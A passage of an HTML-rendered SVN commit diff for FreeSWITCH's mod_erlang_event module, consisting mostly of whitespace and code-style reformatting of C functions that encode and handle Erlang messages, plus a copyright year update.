</span><span class="lines">@@ -154,7 +155,7 @@
</span><span class="cx">         ei_x_encode_tuple_header(&buf, 3);
</span><span class="cx">         ei_x_encode_atom(&buf, "$gen_call");
</span><span class="cx">         ei_x_encode_tuple_header(&buf, 2);
</span><del>-        ei_x_encode_pid(&buf, ei_self(ec));
</del><ins>+        ei_x_encode_pid(&buf, ei_self(ec));
</ins><span class="cx">         ei_init_ref(ec, ref);
</span><span class="cx">         ei_x_encode_ref(&buf, ref);
</span><span class="cx">         ei_x_encode_tuple_header(&buf, 5);
</span><span class="lines">@@ -165,18 +166,18 @@
</span><span class="cx">         /* argument list */
</span><span class="cx">         if (argc < 0) {
</span><span class="cx">                 ei_x_encode_list_header(&buf, argc);
</span><del>-                for(i = 0; i < argc && argv[i]; i++) {
</del><ins>+                for (i = 0; i < argc && argv[i]; i++) {
</ins><span class="cx">                         ei_x_encode_atom(&buf, argv[i]);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         ei_x_encode_empty_list(&buf);
</span><span class="cx">
</span><del>-        /*if (i != argc - 1) {*/
-                /* horked argument list */
-        /*}*/
</del><ins>+        /*if (i != argc - 1) { */
+        /* horked argument list */
+        /*} */
</ins><span class="cx">
</span><del>-        ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
</del><ins>+        ei_x_encode_pid(&buf, ei_self(ec));        /* should really be a valid group leader */
</ins><span class="cx">
</span><span class="cx"> #ifdef EI_DEBUG
</span><span class="cx">         ei_x_print_reg_msg(&buf, "net_kernel", 1);
</span><span class="lines">@@ -191,11 +192,11 @@
</span><span class="cx"> #define MAX_REFERENCE (1 << _REF_NUM_SIZE)
</span><span class="cx">
</span><span class="cx"> /* function to fill in an erlang reference struct */
</span><del>-void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
</del><ins>+void ei_init_ref(ei_cnode * ec, erlang_ref * ref)
</ins><span class="cx"> {
</span><del>-        memset(ref, 0, sizeof(*ref)); /* zero out the struct */
</del><ins>+        memset(ref, 0, sizeof(*ref));        /* zero out the struct */
</ins><span class="cx">         snprintf(ref->node, MAXATOMLEN, "%s", ec->thisnodename);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.ref_mutex);
</span><span class="cx">         globals.reference0++;
</span><span class="cx">         if (globals.reference0 >= MAX_REFERENCE) {
</span><span class="lines">@@ -212,12 +213,12 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(globals.ref_mutex);
</span><span class="cx">
</span><del>-        ref->creation = 1; /* why is this 1 */
-        ref->len = 3; /* why is this 3 */
</del><ins>+        ref->creation = 1;                        /* why is this 1 */
+        ref->len = 3;                                /* why is this 3 */
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
</del><ins>+void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send)
</ins><span class="cx"> {
</span><span class="cx">         char *mbuf = NULL;
</span><span class="cx">         int i = 1;
</span><span class="lines">@@ -233,7 +234,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
</del><ins>+void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send)
</ins><span class="cx"> {
</span><span class="cx">         char *pbuf = NULL;
</span><span class="cx">         int i = 0;
</span><span class="lines">@@ -241,7 +242,7 @@
</span><span class="cx">
</span><span class="cx">         ei_x_new(&pidbuf);
</span><span class="cx">         ei_x_encode_pid(&pidbuf, pid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_s_print_term(&pbuf, pidbuf.buff, &i);
</span><span class="cx">
</span><span class="cx">         ei_x_print_reg_msg(buf, pbuf, send);
</span><span class="lines">@@ -249,7 +250,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf)
</del><ins>+int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf)
</ins><span class="cx"> {
</span><span class="cx">         int ret;
</span><span class="cx">         if (process->type == ERLANG_PID) {
</span><span class="lines">@@ -273,19 +274,16 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /* convert an erlang reference to some kind of hashed string so we can store it as a hash key */
</span><del>-void ei_hash_ref(erlang_ref *ref, char *output)
</del><ins>+void ei_hash_ref(erlang_ref * ref, char *output)
</ins><span class="cx"> {
</span><span class="cx">         /* very lazy */
</span><span class="cx">         sprintf(output, "%d.%d.%d@%s", ref->n[0], ref->n[1], ref->n[2], ref->node);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
</del><ins>+int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2)
</ins><span class="cx"> {
</span><del>-        if ((!strcmp(pid1->node, pid2->node)) &&
-                        pid1->creation == pid2->creation &&
-                        pid1->num == pid2->num &&
-                        pid1->serial == pid2->serial) {
</del><ins>+        if ((!strcmp(pid1->node, pid2->node)) && pid1->creation == pid2->creation && pid1->num == pid2->num && pid1->serial == pid2->serial) {
</ins><span class="cx">                 return 0;
</span><span class="cx">         } else {
</span><span class="cx">                 return 1;
</span><span class="lines">@@ -293,20 +291,22 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst) {
</del><ins>+int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst)
+{
</ins><span class="cx">         int type, size, res;
</span><span class="cx">         long len;
</span><span class="cx">
</span><span class="cx">         ei_get_type(buf, index, &type, &size);
</span><span class="cx">
</span><span class="cx">         if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) {
</span><del>-                return -1;
</del><ins>+                return -1;
</ins><span class="cx">         } else if (size > maxlen) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n", type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n",
+                                                 type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
</ins><span class="cx">                 return -1;
</span><span class="cx">         } else if (type == ERL_BINARY_EXT) {
</span><span class="cx">                 res = ei_decode_binary(buf, index, dst, &len);
</span><del>-                dst[len] = '\0'; /* binaries aren't null terminated */
</del><ins>+                dst[len] = '\0';                /* binaries aren't null terminated */
</ins><span class="cx">         } else {
</span><span class="cx">                 res = ei_decode_string(buf, index, dst);
</span><span class="cx">         }
</span><span class="lines">@@ -320,12 +320,12 @@
</span><span class="cx">         switch_status_t rv;
</span><span class="cx">         struct sockaddr_in server_addr;
</span><span class="cx">         struct hostent *nodehost;
</span><del>-        char thishostname[EI_MAXHOSTNAMELEN+1] = "";
-        char thisnodename[MAXNODELEN+1];
</del><ins>+        char thishostname[EI_MAXHOSTNAMELEN + 1] = "";
+        char thisnodename[MAXNODELEN + 1];
</ins><span class="cx">
</span><span class="cx">         /* zero out the struct before we use it */
</span><span class="cx">         memset(&server_addr, 0, sizeof(server_addr));
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* convert the configured IP to network byte order, handing errors */
</span><span class="cx">         rv = switch_inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
</span><span class="cx">         if (rv == 0) {
</span><span class="lines">@@ -335,18 +335,18 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error when parsing ip address %s : %s\n", prefs.ip, strerror(errno));
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* set the address family and port */
</span><span class="cx">         server_addr.sin_family = AF_INET;
</span><span class="cx">         server_addr.sin_port = htons(prefs.port);
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef WIN32
</span><del>-         if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</del><ins>+        if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</ins><span class="cx"> #else
</span><del>-        if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</del><ins>+        if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</ins><span class="cx"> #endif
</span><span class="cx">                 memcpy(thishostname, nodehost->h_name, EI_MAXHOSTNAMELEN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr_buf(thishostname)) {
</span><span class="cx">                 gethostname(thishostname, EI_MAXHOSTNAMELEN);
</span><span class="cx">         }
</span><span class="lines">@@ -357,11 +357,11 @@
</span><span class="cx">                         *off = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        snprintf(thisnodename, MAXNODELEN+1, "%s@%s", prefs.nodename, thishostname);
-        
</del><ins>+
+        snprintf(thisnodename, MAXNODELEN + 1, "%s@%s", prefs.nodename, thishostname);
+
</ins><span class="cx">         /* init the ei stuff */
</span><del>-        if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr)(&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
</del><ins>+        if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr) (&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventhandle_msgc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -37,7 +37,7 @@
</span><span class="cx">
</span><span class="cx"> static char *MARKER = "1";
</span><span class="cx">
</span><del>-static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
</del><ins>+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
</ins><span class="cx">
</span><span class="cx"> static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="lines">@@ -131,7 +131,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         ei_x_encode_atom(&rbuf, "error");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 _ei_x_encode_string(&rbuf, reply);
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -163,7 +163,7 @@
</span><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">         void *p;
</span><span class="lines">@@ -207,26 +207,24 @@
</span><span class="cx">                         ei_x_encode_atom(rbuf, "invalid_uuid");
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                /*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);*/
</del><ins>+                /*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf); */
</ins><span class="cx">                 switch_safe_free(nbuf->buff);
</span><span class="cx">                 switch_safe_free(nbuf);
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         switch_log_level_t ltype = SWITCH_LOG_DEBUG;
</span><span class="cx">         char loglevelstr[MAXATOMLEN];
</span><del>-        if (arity != 2 ||
-                ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
</del><ins>+        if (arity != 2 || ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 ltype = switch_log_str2level(loglevelstr);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ltype && ltype != SWITCH_LOG_INVALID) {
</span><span class="cx">                         listener->level = ltype;
</span><span class="cx">                         ei_x_encode_atom(rbuf, "ok");
</span><span class="lines">@@ -239,7 +237,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="cx">
</span><span class="lines">@@ -247,19 +245,18 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 int custom = 0;
</span><span class="cx">                 switch_event_types_t type;
</span><span class="cx">                 int i = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!switch_test_flag(listener, LFLAG_EVENTS)) {
</span><span class="cx">                         switch_set_flag_locked(listener, LFLAG_EVENTS);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 1; i < arity; i++) {
</span><span class="cx">                         if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (custom) {
</span><span class="cx">                                         switch_core_hash_insert(listener->event_hash, atom, MARKER);
</span><span class="cx">                                 } else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -277,7 +274,7 @@
</span><span class="cx">                                         if (type == SWITCH_EVENT_CUSTOM) {
</span><span class="cx">                                                 custom++;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "enable event %s\n", atom);
</span><span class="cx">                         }
</span><span class="lines">@@ -287,7 +284,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="cx">
</span><span class="lines">@@ -295,20 +292,19 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 int custom = 0;
</span><span class="cx">                 int i = 0;
</span><span class="cx">                 switch_event_types_t type;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 1; i < arity; i++) {
</span><span class="cx">                         if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (custom) {
</span><span class="cx">                                         switch_core_hash_delete(listener->event_hash, atom);
</span><span class="cx">                                 } else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         uint32_t x = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (type == SWITCH_EVENT_CUSTOM) {
</span><span class="cx">                                                 custom++;
</span><span class="cx">                                         } else if (type == SWITCH_EVENT_ALL) {
</span><span class="lines">@@ -332,19 +328,16 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_api(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char api_cmd[MAXATOMLEN];
</span><span class="cx">         char arg[1024];
</span><del>-        if (arity < 3 ||
-                ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
-                ei_decode_string(buf->buff, &buf->index, arg)) {
</del><ins>+        if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 struct api_command_struct acs = { 0 };
</span><span class="cx">                 acs.listener = listener;
</span><span class="cx">                 acs.api_cmd = api_cmd;
</span><span class="lines">@@ -357,24 +350,21 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char api_cmd[MAXATOMLEN];
</span><span class="cx">         char arg[1024];
</span><del>-        if (arity < 3 ||
-                ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
-                ei_decode_string(buf->buff, &buf->index, arg)) {
</del><ins>+        if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 struct api_command_struct *acs = NULL;
</span><span class="cx">                 switch_memory_pool_t *pool;
</span><span class="cx">                 switch_thread_t *thread;
</span><span class="cx">                 switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">                 switch_uuid_t uuid;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_new_memory_pool(&pool);
</span><span class="cx">                 acs = switch_core_alloc(pool, sizeof(*acs));
</span><span class="cx">                 switch_assert(acs);
</span><span class="lines">@@ -384,15 +374,15 @@
</span><span class="cx">                 acs->arg = switch_core_strdup(acs->pool, arg);
</span><span class="cx">                 acs->bg = 1;
</span><span class="cx">                 acs->pid = msg->from;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_threadattr_create(&thd_attr, acs->pool);
</span><span class="cx">                 switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">                 switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_uuid_get(&uuid);
</span><span class="cx">                 switch_uuid_format(acs->uuid_str, &uuid);
</span><span class="cx">                 switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "ok");
</span><span class="cx">                 _ei_x_encode_string(rbuf, acs->uuid_str);
</span><span class="lines">@@ -400,18 +390,17 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><del>-        char ename[MAXATOMLEN+1];
-        char esname[MAXATOMLEN+1];
</del><ins>+        char ename[MAXATOMLEN + 1];
+        char esname[MAXATOMLEN + 1];
</ins><span class="cx">         int headerlength;
</span><span class="cx">
</span><span class="cx">         memset(esname, 0, MAXATOMLEN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ei_decode_atom(buf->buff, &buf->index, ename) ||
</span><span class="cx">                 (!strncasecmp(ename, "CUSTOM", MAXATOMLEN) &&
</span><del>-                 ei_decode_atom(buf->buff, &buf->index, esname)) ||
-                ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
</del><ins>+                 ei_decode_atom(buf->buff, &buf->index, esname)) || ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><span class="lines">@@ -420,29 +409,27 @@
</span><span class="cx">                 if (switch_name_event(ename, &etype) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_t *event;
</span><span class="cx">                         if ((strlen(esname) && switch_event_create_subclass(&event, etype, esname) == SWITCH_STATUS_SUCCESS) ||
</span><del>-                                        switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 char key[1024];
</span><span class="cx">                                 char value[1024];
</span><span class="cx">                                 int i = 0;
</span><span class="cx">                                 switch_bool_t fail = SWITCH_FALSE;
</span><span class="cx">
</span><del>-                                while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
</del><ins>+                                while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
</ins><span class="cx">                                         i++;
</span><del>-                                        if (ei_decode_string(buf->buff, &buf->index, key) ||
-                                                ei_decode_string(buf->buff, &buf->index, value)) {
</del><ins>+                                        if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
</ins><span class="cx">                                                 fail = SWITCH_TRUE;
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (headerlength != i || fail) {
</span><span class="cx">                                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                                         ei_x_encode_atom(rbuf, "badarg");
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         switch_event_fire(&event);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, "ok");
</span><span class="cx">                                 }
</span><span class="lines">@@ -452,43 +439,40 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">         int headerlength;
</span><del>-                        
</del><ins>+
</ins><span class="cx">         if (ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid) ||
</span><span class="cx">                 ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_core_session_t *session;
</span><span class="cx">                 if (!zstr_buf(uuid) && (session = switch_core_session_locate(uuid))) {
</span><del>-                        switch_event_t *event;        
</del><ins>+                        switch_event_t *event;
</ins><span class="cx">                         if (switch_event_create(&event, SWITCH_EVENT_SEND_MESSAGE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 char key[1024];
</span><span class="cx">                                 char value[1024];
</span><span class="cx">                                 int i = 0;
</span><span class="cx">                                 switch_bool_t fail = SWITCH_FALSE;
</span><del>-                                while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
</del><ins>+                                while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
</ins><span class="cx">                                         i++;
</span><del>-                                        if (ei_decode_string(buf->buff, &buf->index, key) ||
-                                                ei_decode_string(buf->buff, &buf->index, value)) {
</del><ins>+                                        if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
</ins><span class="cx">                                                 fail = SWITCH_TRUE;
</span><span class="cx">                                                 break;
</span><del>-                                        }                                        
</del><ins>+                                        }
</ins><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (headerlength != i || fail) {
</span><span class="cx">                                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                                         ei_x_encode_atom(rbuf, "badarg");
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         if (switch_core_session_queue_private_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 ei_x_encode_atom(rbuf, "ok");
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -496,7 +480,7 @@
</span><span class="cx">                                                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                                                 ei_x_encode_atom(rbuf, "badmem");
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         /* release the lock returned by session locate */
</span><span class="lines">@@ -511,19 +495,17 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         /* format is (result|config|directory|dialplan|phrases) */
</span><span class="cx">         char sectionstr[MAXATOMLEN];
</span><span class="cx">         switch_xml_section_t section;
</span><span class="cx">
</span><del>-        if (ei_decode_atom(buf->buff, &buf->index, sectionstr) ||
-                !(section = switch_xml_parse_section_string(sectionstr))) {
</del><ins>+        if (ei_decode_atom(buf->buff, &buf->index, sectionstr) || !(section = switch_xml_parse_section_string(sectionstr))) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 struct erlang_binding *binding, *ptr;
</span><span class="cx">
</span><span class="cx">                 if (!(binding = switch_core_alloc(listener->pool, sizeof(*binding)))) {
</span><span class="lines">@@ -531,8 +513,7 @@
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                         ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                         ei_x_encode_atom(rbuf, "badmem");
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         binding->section = section;
</span><span class="cx">                         binding->process.type = ERLANG_PID;
</span><span class="cx">                         binding->process.pid = msg->from;
